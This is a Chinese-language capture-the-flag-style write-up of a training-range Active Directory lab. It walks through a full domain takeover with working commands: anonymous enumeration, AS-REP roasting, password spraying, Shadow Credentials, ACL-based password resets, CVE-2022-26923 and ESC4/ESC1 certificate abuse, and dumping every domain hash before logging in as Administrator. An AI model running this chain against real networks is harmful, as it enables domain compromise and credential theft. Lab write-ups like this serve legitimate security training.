無境靶場:vip.bdziyi.com/ulab
掃描

該機器有極大可能為DC
匿名獲取信息
匿名枚舉用户
nxc smb 192.168.111.10 -u ' ' -p '' --users

嘗試其他方法
impacket-lookupsid ' ':''@192.168.111.10 -no-pass

獲取到以下用户

匿名枚舉共享
nxc smb 192.168.111.10 -u ' ' -p '' --shares

訪問匿名共享 New
smbclient //192.168.111.10/New -U ' '%''

以 GBK 編碼查看文件獲取到一個新員工賬户

域信息收集
bloodhound 信息收集
Kali 默認沒有安裝 bloodhound,可以根據下面的文檔安裝
bloodhound | Kali Linux Tools
bloodhound-python -c All -u newmht -p 'New@1234' -ns 192.168.111.10 -d sec.org -dc ad.sec.org --zip

但是這個賬號沒有利用的東西

asreproast
經過詳細的查找,找到了一個用户可以進行 asreproast

nxc ldap 192.168.111.10 -u newmht -p 'New@1234' --asreproast ASREPROAST --kdcHost 192.168.111.10

進行密碼爆破
john --wordlist=/usr/share/wordlists/rockyou.txt ASREPROAST


這個賬户屬於人事部,但是也沒有見到利用的路徑,只能嘗試一下密碼噴射域內所有的用户,幸運地獲取到 Moly 的密碼
nxc smb 192.168.111.10 -u users.txt -p 'mahalkita'

Shadow Credentials
分析 Moly,發現 Moly 對 開發部 這個安全組有 WriteOwner 的權限

暫時考慮為 Shadow Credentials,但是還得看是否滿足下面的4個條件

回頭看掃描結果,發現有636端口,嘗試訪問域控證書的端點
curl -k http://192.168.111.10/certsrv/


共享也可以看到開放了證書服務

再看一下系統版本,有可能是 Windows Server 2016

剩下的條件:
能改變某個賬號的msDS-KeyCredentialLink屬性,就能獲得這個賬號的TGT和NTLM Hash
certipy-ad find -u 'Moly@sec.org' -p 'mahalkita' -dc-ip 192.168.111.10 -vulnerable

從結果來看好像沒有什麼有用的信息,那就直接利用試試
# 修改權限
impacket-dacledit \
-action write \
-rights WriteMembers \
-principal 'Moly' \
-target-dn 'CN=Dev,DC=sec,DC=org' \
-dc-ip 192.168.111.10 \
'sec.org/Moly:mahalkita'

# 將 Moly 加入 開發部 這個組
bloodyAD --host 192.168.111.10 -d sec.org -u Moly -p 'mahalkita' set owner '開發部' Moly

certipy-ad shadow auto -u Moly@sec.org -p mahalkita -dc-ip 192.168.111.10 -account Cook

先關閉虛擬機的時間同步,再同步域控時間

請求失敗是因為域控和Kali時間差距過大,需要從域控同步時間
# 同步域控時間
ntpdate -4 -b 192.168.111.10
# 再次請求
certipy-ad shadow auto -u Moly@sec.org -p mahalkita -dc-ip 192.168.111.10 -account Cook

如果還是不行,可以嘗試
apt install chrony -y
# 編輯配置,取消 pool的註釋
vim /etc/chrony/chrony.conf
server 192.168.111.10 iburst
systemctl restart chrony
# 檢查源狀態
chronyc sources -v
# 手動強制同步
ntpdate -4 -b 192.168.111.10 # 也可以一起使用
chronyc makestep
chronyc tracking

同步成功的判斷
# 同步需要點時間,大概三分鐘
# chronyc tracking 顯示 MS Name(192.168.111.10)一致
# Last 接近 0

ACL 濫用
Cook 對 Jock 有 ForceChangePassword 的權限

先利用 Cook 的 hash 修改 Cook 自身的裏面
impacket-changepasswd -hashes :8ac71e8fdb3f7468c3b0d80611dee7e4 sec.org/Cook@192.168.111.10 -newpass '123456'
# 修改 Jock 的密碼為 123456
net rpc password "Jock" -U "sec.org"/"Cook"%"123456" -S 192.168.111.10

Jock 對 MHT 有 GenericAll 權限

# 修改 mht 的密碼為 123456
net rpc password mht -U 'sec.org'/'Jock'%'123456' -S 192.168.111.10

但是到 MHT 這裏,利用的線索又斷開了

Certificate Services
mht的線索斷開了,但是先嚐試使用 Moly 的密碼來請求域證書
- 查找 CA 名稱
certipy-ad find -u 'Moly@sec.org' -p 'mahalkita' -target 192.168.111.10

- 請求證書
certipy-ad req -u 'Moly@sec.org' -p 'mahalkita' -target 192.168.111.10 -ca sec-AD-CA -template User

最後逐個嘗試,只有 mht 能正常請求證書
certipy-ad req -u 'mht@sec.org' -p '123456' -target 192.168.111.10 -ca sec-AD-CA -template User

只能考慮是否有 ADCS 權限提升漏洞
CVE-2022-26923
- 查詢是否可以創建計算機賬户
ldapsearch -x -H ldap://192.168.111.10 -D 'mht@sec.org' -w '123456' -b 'DC=sec,DC=org' -s base ms-DS-MachineAccountQuota

- 添加計算機賬户
impacket-addcomputer 'sec.org/mht:123456' -computer-name 'cve' -computer-pass 'cve@123456' -dc-ip 192.168.111.10

- 修改 dNSHostName
bloodyAD -d sec.org -u mht -p '123456' --host 192.168.111.10 set object 'CN=cve,CN=Computers,DC=sec,DC=org' dNSHostName -v 'ad.sec.org'

- 請求 AD$ 的證書
certipy-ad req -u 'cve$@sec.org' -p 'cve@123456' -target 192.168.111.10 -ca sec-AD-CA -template Machine -ldap-scheme ldap

- 證書傳遞
certipy-ad auth -pfx ad.pfx -dc-ip 192.168.111.10

- 導出域內所有哈希
impacket-secretsdump 'sec.org/AD$@192.168.111.10' -hashes :af09c873164ed481ecf0f6230966d0ad -target-ip 192.168.111.10 -just-dc

impacket-wmiexec -hashes :6f4009ffe6f419f6ebef8c5c4495f26f 'sec.org'/Administrator@192.168.111.10 -target-ip 192.168.111.10 -codec gbk

當然 ESC4 + ESC1 也可以利用
certipy-ad template -u 'mht@sec.org' -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -template 'User' -write-default-configuration
certipy-ad req -u mht@sec.org -p 'CEO@Hacked123' -dc-ip 192.168.111.10 -ca 'sec-AD-CA' -template 'User' -upn 'administrator@sec.org' -target 192.168.111.10